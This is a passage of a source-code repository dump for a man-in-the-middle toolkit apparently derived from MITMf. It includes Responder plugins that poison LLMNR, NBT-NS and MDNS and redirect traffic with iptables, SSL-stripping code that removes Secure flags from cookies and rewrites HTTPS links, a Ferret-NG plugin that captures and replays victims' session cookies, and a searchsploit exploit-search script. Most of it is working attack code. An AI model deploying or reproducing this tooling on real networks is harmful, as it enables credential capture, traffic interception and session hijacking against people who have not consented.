"success"}) 86 | 87 | return json.dumps({"plugin": plugin, "response": "failed"}) 88 | 89 | def startFlask(self): 90 | app.run(debug=False, host=self.host, port=self.port) 91 | 92 | #def start(self): 93 | # api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask) 94 | # api_thread.daemon = True 95 | # api_thread.start() 96 | 97 | def start(self): 98 | api_thread = threading.Thread(name='mitmfapi', target=self.startFlask) 99 | api_thread.setDaemon(True) 100 | api_thread.start() 101 | -------------------------------------------------------------------------------- /sniffer/libs/responder/FindSMB2UPTime.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python 2 | # NBT-NS/LLMNR Responder 3 | # Created by Laurent Gaffie 4 | # Copyright (C) 2014 Trustwave Holdings, Inc. 5 | # 6 | # This program is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program. If not, see . 18 | import datetime, struct 19 | import sys,socket,struct 20 | from socket import * 21 | from odict import OrderedDict 22 | 23 | class Packet(): 24 | fields = OrderedDict([ 25 | ("", ""), 26 | ]) 27 | def __init__(self, **kw): 28 | self.fields = OrderedDict(self.__class__.fields) 29 | for k,v in kw.items(): 30 | if callable(v): 31 | self.fields[k] = v(self.fields[k]) 32 | else: 33 | self.fields[k] = v 34 | def __str__(self): 35 | return "".join(map(str, self.fields.values())) 36 | 37 | def GetBootTime(data): 38 | Filetime = int(struct.unpack('i", len(data)) 54 | return Len 55 | 56 | class SMBHeader(Packet): 57 | fields = OrderedDict([ 58 | ("Proto", "\xff\x53\x4d\x42"), 59 | ("Cmd", "\x72"), 60 | ("Error-Code", "\x00\x00\x00\x00" ), 61 | ("Flag1", "\x10"), 62 | ("Flag2", "\x00\x00"), 63 | ("Pidhigh", "\x00\x00"), 64 | ("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), 65 | ("Reserved", "\x00\x00"), 66 | ("TID", "\x00\x00"), 67 | ("PID", "\xff\xfe"), 68 | ("UID", "\x00\x00"), 69 | ("MID", "\x00\x00"), 70 | ]) 71 | 72 | class SMBNego(Packet): 73 | fields = OrderedDict([ 74 | ("Wordcount", "\x00"), 75 | ("Bcc", "\x62\x00"), 76 | ("Data", "") 77 | ]) 78 | 79 | def calculate(self): 80 | self.fields["Bcc"] = struct.pack(". 17 | from UserDict import DictMixin 18 | 19 | class OrderedDict(dict, DictMixin): 20 | 21 | def __init__(self, *args, **kwds): 22 | if len(args) > 1: 23 | raise TypeError('expected at most 1 arguments, got %d' % len(args)) 24 | try: 25 | self.__end 26 | except AttributeError: 27 | self.clear() 28 | self.update(*args, **kwds) 29 | 30 | def clear(self): 31 | self.__end = end = [] 32 | end += [None, end, end] 33 | self.__map = {} 34 | dict.clear(self) 35 | 36 | def __setitem__(self, key, value): 37 | if key not in self: 38 | end = self.__end 39 | curr = end[1] 40 | curr[2] = end[1] = self.__map[key] = [key, curr, end] 41 | dict.__setitem__(self, key, value) 42 | 43 | def __delitem__(self, key): 44 | dict.__delitem__(self, key) 45 | key, prev, next = self.__map.pop(key) 46 | prev[2] = next 47 | next[1] = prev 48 | 49 | def __iter__(self): 50 | end = self.__end 51 | curr = end[2] 52 | while curr is not end: 53 | yield curr[0] 54 | curr = curr[2] 55 | 56 | def __reversed__(self): 57 | end = self.__end 58 | curr = end[1] 59 | while curr is not end: 60 | yield curr[0] 61 | curr = curr[1] 62 | 63 | def popitem(self, last=True): 64 | if not self: 65 | raise KeyError('dictionary is empty') 66 | if last: 67 | key = reversed(self).next() 68 | else: 69 | key = iter(self).next() 70 | value = self.pop(key) 71 | return key, value 72 | 73 | def __reduce__(self): 74 | items = [[k, self[k]] for k in self] 75 | tmp = self.__map, self.__end 76 | del self.__map, self.__end 77 | inst_dict = vars(self).copy() 78 | self.__map, self.__end = tmp 79 | if inst_dict: 80 | return (self.__class__, (items,), inst_dict) 81 | return self.__class__, (items,) 82 | 83 | def keys(self): 84 | return list(self) 85 | 86 | setdefault = DictMixin.setdefault 87 | update = DictMixin.update 88 | pop = DictMixin.pop 89 | values = DictMixin.values 90 | items = DictMixin.items 91 | iterkeys = DictMixin.iterkeys 92 | itervalues = DictMixin.itervalues 93 | iteritems = DictMixin.iteritems 94 | 95 | def __repr__(self): 96 | if not self: 97 | return '%s()' % (self.__class__.__name__,) 98 | return '%s(%r)' % (self.__class__.__name__, self.items()) 99 | 100 | def copy(self): 101 | return self.__class__(self) 102 | 103 | @classmethod 104 | def fromkeys(cls, iterable, value=None): 105 | d = cls() 106 | for key in iterable: 107 | d[key] = value 108 | return d 109 | 110 | def __eq__(self, other): 111 | if isinstance(other, OrderedDict): 112 | return len(self)==len(other) and \ 113 | min(p==q for p, q in zip(self.items(), other.items())) 114 | return dict.__eq__(self, other) 115 | 116 | def __ne__(self, other): 117 | return not self == other 118 | -------------------------------------------------------------------------------- /sniffer/libs/responder/odict.py: -------------------------------------------------------------------------------- 1 | # NBT-NS/LLMNR Responder 2 | # Created by Laurent Gaffie 3 | # Copyright (C) 2014 Trustwave Holdings, Inc. 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | 18 | from UserDict import DictMixin 19 | 20 | class OrderedDict(dict, DictMixin): 21 | 22 | def __init__(self, *args, **kwds): 23 | if len(args) > 1: 24 | raise TypeError('expected at most 1 arguments, got %d' % len(args)) 25 | try: 26 | self.__end 27 | except AttributeError: 28 | self.clear() 29 | self.update(*args, **kwds) 30 | 31 | def clear(self): 32 | self.__end = end = [] 33 | end += [None, end, end] 34 | self.__map = {} 35 | dict.clear(self) 36 | 37 | def __setitem__(self, key, value): 38 | if key not in self: 39 | end = self.__end 40 | curr = end[1] 41 | curr[2] = end[1] = self.__map[key] = [key, curr, end] 42 | dict.__setitem__(self, key, value) 43 | 44 | def __delitem__(self, key): 45 | dict.__delitem__(self, key) 46 | key, prev, next = self.__map.pop(key) 47 | prev[2] = next 48 | next[1] = prev 49 | 50 | def __iter__(self): 51 | end = self.__end 52 | curr = end[2] 53 | while curr is not end: 54 | yield curr[0] 55 | curr = curr[2] 56 | 57 | def __reversed__(self): 58 | end = self.__end 59 | curr = end[1] 60 | while curr is not end: 61 | yield curr[0] 62 | curr = curr[1] 63 | 64 | def popitem(self, last=True): 65 | if not self: 66 | raise KeyError('dictionary is empty') 67 | if last: 68 | key = reversed(self).next() 69 | else: 70 | key = iter(self).next() 71 | value = self.pop(key) 72 | return key, value 73 | 74 | def __reduce__(self): 75 | items = [[k, self[k]] for k in self] 76 | tmp = self.__map, self.__end 77 | del self.__map, self.__end 78 | inst_dict = vars(self).copy() 79 | self.__map, self.__end = tmp 80 | if inst_dict: 81 | return (self.__class__, (items,), inst_dict) 82 | return self.__class__, (items,) 83 | 84 | def keys(self): 85 | return list(self) 86 | 87 | setdefault = DictMixin.setdefault 88 | update = DictMixin.update 89 | pop = DictMixin.pop 90 | values = DictMixin.values 91 | items = DictMixin.items 92 | iterkeys = DictMixin.iterkeys 93 | itervalues = DictMixin.itervalues 94 | iteritems = DictMixin.iteritems 95 | 96 | def __repr__(self): 97 | if not self: 98 | return '%s()' % (self.__class__.__name__,) 99 | return '%s(%r)' % (self.__class__.__name__, self.items()) 100 | 101 | def copy(self): 102 | return self.__class__(self) 103 | 104 | @classmethod 105 | def fromkeys(cls, iterable, value=None): 106 | d = cls() 107 | for key in iterable: 108 | d[key] = value 109 | return d 110 | 111 | def __eq__(self, other): 112 | if isinstance(other, OrderedDict): 113 | return len(self)==len(other) and \ 114 | min(p==q for p, q in zip(self.items(), other.items())) 115 | return dict.__eq__(self, other) 116 | 117 | def __ne__(self, other): 118 | return not self == other 119 | -------------------------------------------------------------------------------- /sniffer/plugins/plugin.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import argparse 21 | 22 | from core.configwatcher import ConfigWatcher 23 | from core.logger import logger 24 | 25 | class Plugin(ConfigWatcher): 26 | name = "Generic plugin" 27 | optname = "generic" 28 | tree_info = [] 29 | desc = "" 30 | version = "0.0" 31 | 32 | def __init__(self, parser): 33 | '''Passed the options namespace''' 34 | 35 | if self.desc: 36 | sgroup = parser.add_argument_group(self.name, self.desc) 37 | else: 38 | sgroup = parser.add_argument_group(self.name,"Options for the '{}' plugin".format(self.name)) 39 | 40 | sgroup.add_argument("--{}".format(self.optname), action="store_true",help="Load plugin '{}'".format(self.name)) 41 | 42 | self.options(sgroup) 43 | 44 | def initialize(self, options): 45 | '''Called if plugin is enabled, passed the options namespace''' 46 | self.options = options 47 | 48 | def request(self, request): 49 | ''' 50 | Handles all outgoing requests, hooks connectionMade() 51 | request object has the following attributes: 52 | 53 | request.headers => headers in dict format 54 | request.commad => HTTP method 55 | request.post => POST data 56 | request.uri => full URL 57 | request.path => path 58 | ''' 59 | pass 60 | 61 | def responseheaders(self, response, request): 62 | ''' 63 | Handles all response headers, hooks handleEndHeaders() 64 | ''' 65 | pass 66 | 67 | def responsestatus(self, request, version, code, message): 68 | ''' 69 | Handles server response HTTP version, code and message 70 | ''' 71 | return {"request": request, "version": version, "code": code, "message": message} 72 | 73 | def response(self, response, request, data): 74 | ''' 75 | Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images) 76 | ''' 77 | return {'response': response, 'request':request, 'data': data} 78 | 79 | def on_config_change(self): 80 | """Do something when MITMf detects the config file has been modified""" 81 | pass 82 | 83 | def options(self, options): 84 | '''Add your options to the options parser''' 85 | pass 86 | 87 | def reactor(self, strippingFactory): 88 | '''This makes it possible to set up another instance of the reactor on a diffrent port, passed the default factory''' 89 | pass 90 | 91 | def setup_logger(self): 92 | formatter = logging.Formatter("%(asctime)s [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S") 93 | self.log = logger().setup_logger(self.name, formatter) 94 | 95 | formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S") 96 | self.clientlog = logger().setup_logger("{}_{}".format(self.name, "clientlog"), formatter) 97 | 98 | def on_shutdown(self): 99 | '''This will be called when shutting down''' 100 | pass 101 | -------------------------------------------------------------------------------- /sniffer/plugins/Responder.py: -------------------------------------------------------------------------------- 1 | from plugins.plugin import Plugin 2 | import logging 3 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy 4 | from scapy.all import get_if_addr 5 | from libs.responder.Responder import start_responder 6 | from libs.sslstrip.DnsCache import DnsCache 7 | import sys 8 | import os 9 | import threading 10 | 11 | class Responder(Plugin): 12 | name = "Responder" 13 | optname = "responder" 14 | desc = "Poison LLMNR, NBT-NS and MDNS requests" 15 | #implements = ["handleResponse"] 16 | has_opts = True 17 | 18 | def initialize(self, options): 19 | '''Called if plugin is enabled, passed the options namespace''' 20 | self.options = options 21 | self.interface = options.interface 22 | 23 | if os.geteuid() != 0: 24 | sys.exit("[-] Responder plugin requires root privileges") 25 | 26 | try: 27 | config = options.configfile['Responder'] 28 | except Exception, e: 29 | sys.exit('[-] Error parsing config for Responder: ' + str(e)) 30 | 31 | try: 32 | self.ip_address = get_if_addr(options.interface) 33 | if self.ip_address == "0.0.0.0": 34 | sys.exit("[-] Interface %s does not have an IP address" % self.interface) 35 | except Exception, e: 36 | sys.exit("[-] Error retrieving interface IP address: %s" % e) 37 | 38 | print "[*] Responder plugin online" 39 | DnsCache.getInstance().setCustomAddress(self.ip_address) 40 | 41 | for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']: 42 | DnsCache.getInstance().setCustomRes(name, self.ip_address) 43 | 44 | if '--spoof' not in sys.argv: 45 | print '[*] Setting up iptables' 46 | os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') 47 | os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % options.listen) 48 | 49 | t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address, config)) 50 | t.setDaemon(True) 51 | t.start() 52 | 53 | def add_options(self, options): 54 | options.add_argument('--analyze', dest="Analyse", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") 55 | options.add_argument('--basic', dest="Basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") 56 | options.add_argument('--wredir', dest="Wredirect", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") 57 | options.add_argument('--nbtns', dest="NBTNSDomain", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") 58 | options.add_argument('--fingerprint', dest="Finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query") 59 | options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") 60 | options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") 61 | options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") 62 | options.add_argument('--verbose', dest="Verbose", default=False, action="store_true", help="More verbose") 63 | 64 | def finish(self): 65 | if '--spoof' not in sys.argv: 66 | print '\n[*] Flushing iptables' 67 | os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') -------------------------------------------------------------------------------- /sniffer/core/ferretng/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from core.logger import logger 22 | from ServerConnection import ServerConnection 23 | from URLMonitor import URLMonitor 24 | 25 | formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") 26 | log = logger().setup_logger("Ferret_SSLServerConnection", formatter) 27 | 28 | class SSLServerConnection(ServerConnection): 29 | 30 | ''' 31 | For SSL connections to a server, we need to do some additional stripping. First we need 32 | to make note of any relative links, as the server will be expecting those to be requested 33 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 34 | ''' 35 | 36 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 37 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 38 | iconExpression = re.compile(r"", re.IGNORECASE) 39 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 40 | headExpression = re.compile(r"", re.IGNORECASE) 41 | 42 | def __init__(self, command, uri, postData, headers, client): 43 | ServerConnection.__init__(self, command, uri, postData, headers, client) 44 | self.urlMonitor = URLMonitor.getInstance() 45 | 46 | def getLogLevel(self): 47 | return logging.INFO 48 | 49 | def getPostPrefix(self): 50 | return "SECURE POST" 51 | 52 | def handleHeader(self, key, value): 53 | if (key.lower() == 'set-cookie'): 54 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 55 | 56 | ServerConnection.handleHeader(self, key, value) 57 | 58 | def stripFileFromPath(self, path): 59 | (strippedPath, lastSlash, file) = path.rpartition('/') 60 | return strippedPath 61 | 62 | def buildAbsoluteLink(self, link): 63 | absoluteLink = "" 64 | 65 | if ((not link.startswith('http')) and (not link.startswith('/'))): 66 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 67 | 68 | log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) 69 | log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) 70 | elif not link.startswith('http'): 71 | absoluteLink = "http://"+self.headers['host']+link 72 | 73 | log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) 74 | log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) 75 | 76 | if not absoluteLink == "": 77 | absoluteLink = absoluteLink.replace('&', '&') 78 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 79 | 80 | def replaceCssLinks(self, data): 81 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 82 | 83 | for match in iterator: 84 | self.buildAbsoluteLink(match.group(1)) 85 | 86 | return data 87 | 88 | def replaceSecureLinks(self, data): 89 | data = ServerConnection.replaceSecureLinks(self, data) 90 | data = self.replaceCssLinks(data) 91 | 92 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 93 | 94 | for match in iterator: 95 | self.buildAbsoluteLink(match.group(10)) 96 | 97 | return data 98 | -------------------------------------------------------------------------------- /sniffer/plugins/ferretng.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014-2016 Marcello Salvati 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import json 20 | import sys 21 | 22 | from datetime import datetime 23 | from plugins.plugin import Plugin 24 | from twisted.internet import reactor 25 | from twisted.web import http 26 | from core.ferretng.URLMonitor import URLMonitor 27 | 28 | class FerretNG(Plugin): 29 | name = "Ferret-NG" 30 | optname = "ferretng" 31 | desc = "Captures cookies and starts a proxy that will feed them to connected clients" 32 | version = "0.1" 33 | 34 | def initialize(self, options): 35 | self.options = options 36 | self.ferret_port = options.ferret_port 37 | self.cookie_file = None 38 | 39 | URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] 40 | 41 | from core.utils import shutdown 42 | if options.cookie_file: 43 | self.tree_info.append('Loading cookies from log file') 44 | try: 45 | with open(options.cookie_file, 'r') as cookie_file: 46 | self.cookie_file = json.dumps(cookie_file.read()) 47 | URLMonitor.getInstance().cookies = self.cookie_file 48 | cookie_file.close() 49 | except Exception as e: 50 | shutdown("[-] Error loading cookie log file: {}".format(e)) 51 | 52 | self.tree_info.append("Listening on port {}".format(self.ferret_port)) 53 | 54 | def on_config_change(self): 55 | self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) 56 | URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] 57 | 58 | def request(self, request): 59 | if 'cookie' in request.headers: 60 | host = request.headers['host'] 61 | cookie = request.headers['cookie'] 62 | client = request.client.getClientIP() 63 | 64 | if client not in URLMonitor.getInstance().cookies: 65 | URLMonitor.getInstance().cookies[client] = [] 66 | 67 | for entry in URLMonitor.getInstance().cookies[client]: 68 | if host == entry['host']: 69 | self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo) 70 | entry['host'] = host 71 | entry['cookie'] = cookie 72 | return 73 | 74 | self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo) 75 | URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) 76 | 77 | def reactor(self, StrippingProxy): 78 | from core.ferretng.FerretProxy import FerretProxy 79 | FerretFactory = http.HTTPFactory(timeout=10) 80 | FerretFactory.protocol = FerretProxy 81 | reactor.listenTCP(self.ferret_port, FerretFactory) 82 | 83 | def options(self, options): 84 | options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)') 85 | options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file') 86 | 87 | def on_shutdown(self): 88 | if not URLMonitor.getInstance().cookies: 89 | return 90 | 91 | if self.cookie_file == URLMonitor.getInstance().cookies: 92 | return 93 | 94 | self.log.info("Writing cookies to log file") 95 | with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: 96 | cookie_file.write(str(URLMonitor.getInstance().cookies)) 97 | cookie_file.close() 98 | -------------------------------------------------------------------------------- /tools/exploitdb/searchsploit: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # exploitdb CLI search tool 3 | # Version 3 4 | # Written by Unix-Ninja 5 | 6 | gitremote=https://github.com/offensive-security/exploit-database.git 7 | gitpath=/usr/share/exploitdb 8 | csvpath=${gitpath}/files.csv 9 | progname=`basename $0` 10 | TAGS= 11 | SCASE='-i' 12 | UPDATE=0 13 | VERBOSE=0 14 | 15 | # NOTE: 16 | # Exit code 0 means finished normally 17 | # Exit code 6 means updated from github 18 | 19 | # if files.csv is in the searchsploit path, use that 20 | if [ -f "$( dirname $0 )/files.csv" ]; then 21 | csvpath="$( dirname $0 )/files.csv" 22 | fi 23 | 24 | # usage info 25 | function usage() 26 | { 27 | echo "Usage: $progname [options] term1 [term2] ... [termN]" 28 | echo "Example: $progname oracle windows local" 29 | echo 30 | echo "=========" 31 | echo " Options " 32 | echo "=========" 33 | echo " -c Perform case-sensitive searches; by default, searches will" 34 | echo " try to be greedy" 35 | echo " -h, --help Show help screen" 36 | # echo " -u Update db from git" 37 | echo " -v By setting verbose output, description lines are allowed to" 38 | echo " overflow their columns" 39 | echo 40 | echo "=======" 41 | echo " NOTES " 42 | echo "=======" 43 | echo " * Use any number of search terms you would like (minimum: 1)" 44 | echo " * Search terms are not case sensitive, and order is irrelevant" 45 | # echo " * When updating from git, searches will be ignored" 46 | exit 1 47 | } 48 | 49 | # dynamically set column widths 50 | COL2=35 51 | COL1=$(( `tput cols` - $COL2 - 1 )) 52 | 53 | # check for empty args 54 | if [ $# -eq 0 ]; then 55 | usage >&2 56 | fi 57 | 58 | # parse long arguments 59 | ARGS="-" 60 | for param in $@; do 61 | if [ "$param" == "--help" ]; then 62 | usage >&2 63 | else 64 | if [ "${param:0:1}" == "-" ]; then 65 | ARGS=$ARGS${param:1} 66 | shift 67 | continue 68 | fi 69 | TAGS="$TAGS $param" 70 | fi 71 | done 72 | 73 | # parse short arguments 74 | while getopts "chv" arg $ARGS; do 75 | if [ "$arg" = "?" ]; then 76 | usage >&2; 77 | fi 78 | case $arg in 79 | c) SCASE='';; 80 | h) usage >&2;; 81 | u) UPDATE=0;; 82 | v) VERBOSE=1;; 83 | esac 84 | shift $((OPTIND-1)) 85 | done 86 | 87 | # was an update requested? 88 | if [ "$UPDATE" -eq 1 ]; then 89 | cd $gitpath 90 | # make sure a git repo is init before updating 91 | if [ "$(git rev-parse --is-inside-work-tree)" != "true" ]; then 92 | if [ "$(ls)" = "" ]; then 93 | #if directory is empty, just clone 94 | git clone $gitremote . 95 | else 96 | # if not empty, init and add remote 97 | git init > /dev/null 98 | git remote add origin $gitremote 99 | fi 100 | fi 101 | # make sure to prep checkout first 102 | git checkout -- . 103 | # update from github 104 | git pull origin master 105 | # if conflicts, clean and try again 106 | if [ "$?" -ne 0 ]; then 107 | git clean -d -fx "" 108 | git pull origin master 109 | fi 110 | 111 | echo "Update finished." 112 | exit 6 113 | fi 114 | 115 | # print header 116 | printf "%0.s-" `eval echo {1..$(( $COL1 + 1 ))}` 117 | echo -n " " 118 | printf "%0.s-" `eval echo {1..$(( $COL2 - 1 ))}` 119 | 120 | printf "%-${COL1}s %s" " Description" 121 | echo "| Path" 122 | 123 | printf "%0.s-" `eval echo {1..$(( $COL1 + 1 ))}` 124 | echo -n " " 125 | printf "%0.s-" `eval echo {1..$(( $COL2 - 1 ))}` 126 | echo 127 | 128 | # create search command 129 | SEARCH= 130 | for tag in $TAGS; do 131 | if [ "$SEARCH" ]; then 132 | SEARCH="$SEARCH |" 133 | fi 134 | SEARCH="$SEARCH fgrep $SCASE \"$tag\"" 135 | done 136 | 137 | # set LANG variable to avoid illegal byte sequence errors in sed 138 | LANG=C 139 | 140 | # search, format, and print results 141 | if [ "$VERBOSE" -eq 0 ]; then 142 | FORMAT=$COL1'.'$COL1 143 | else 144 | FORMAT=$COL1 145 | fi 146 | cat $csvpath \ 147 | | eval $SEARCH \ 148 | | awk -F "\"*,\"*" '{ printf "%-'$FORMAT's | %s\n", $3, $2}' \ 149 | | sed " s/| platforms/| /" \ 150 | | eval $SEARCH 151 | 152 | printf "%0.s-" `eval echo {1..$(( $COL1 + 1 ))}` 153 | echo -n " " 154 | printf "%0.s-" `eval echo {1..$(( $COL2 - 1 ))}` 155 | 156 | exit 0 157 | -------------------------------------------------------------------------------- /sniffer/plugins/responder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | 3 | # Copyright (c) 2014-2016 Marcello Salvati 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License as 7 | # published by the Free Software Foundation; either version 3 of the 8 | # License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, but 11 | # WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program; if not, write to the Free Software 17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 18 | # USA 19 | # 20 | 21 | from plugins.plugin import Plugin 22 | from twisted.internet import reactor 23 | 24 | class Responder(Plugin): 25 | name = "Responder" 26 | optname = "responder" 27 | desc = "Poison LLMNR, NBT-NS and MDNS requests" 28 | tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] 29 | version = "0.2" 30 | 31 | def initialize(self, options): 32 | '''Called if plugin is enabled, passed the options namespace''' 33 | self.options = options 34 | self.interface = options.interface 35 | self.ip = options.ip 36 | 37 | # Load (M)DNS, NBNS and LLMNR Poisoners 38 | import core.poisoners.LLMNR as LLMNR 39 | import core.poisoners.MDNS as MDNS 40 | import core.poisoners.NBTNS as NBTNS 41 | LLMNR.start() 42 | MDNS.start() 43 | NBTNS.start() 44 | 45 | # Load Browser Listener 46 | import core.servers.Browser as Browser 47 | Browser.start() 48 | 49 | if self.config["Responder"]["SQL"].lower() == "on": 50 | from core.servers.MSSQL import MSSQL 51 | self.tree_info.append("MSSQL server [ON]") 52 | MSSQL().start() 53 | 54 | if self.config["Responder"]["Kerberos"].lower() == "on": 55 | from core.servers.Kerberos import Kerberos 56 | self.tree_info.append("Kerberos server [ON]") 57 | Kerberos().start() 58 | 59 | if self.config["Responder"]["FTP"].lower() == "on": 60 | from core.servers.FTP import FTP 61 | self.tree_info.append("FTP server [ON]") 62 | FTP().start() 63 | 64 | if self.config["Responder"]["POP"].lower() == "on": 65 | from core.servers.POP3 import POP3 66 | self.tree_info.append("POP3 server [ON]") 67 | POP3().start() 68 | 69 | if self.config["Responder"]["SMTP"].lower() == "on": 70 | from core.servers.SMTP import SMTP 71 | self.tree_info.append("SMTP server [ON]") 72 | SMTP().start() 73 | 74 | if self.config["Responder"]["IMAP"].lower() == "on": 75 | from core.servers.IMAP import IMAP 76 | self.tree_info.append("IMAP server [ON]") 77 | IMAP().start() 78 | 79 | if self.config["Responder"]["LDAP"].lower() == "on": 80 | from core.servers.LDAP import LDAP 81 | self.tree_info.append("LDAP server [ON]") 82 | LDAP().start() 83 | 84 | def reactor(self, strippingFactory): 85 | reactor.listenTCP(3141, strippingFactory) 86 | 87 | def options(self, options): 88 | 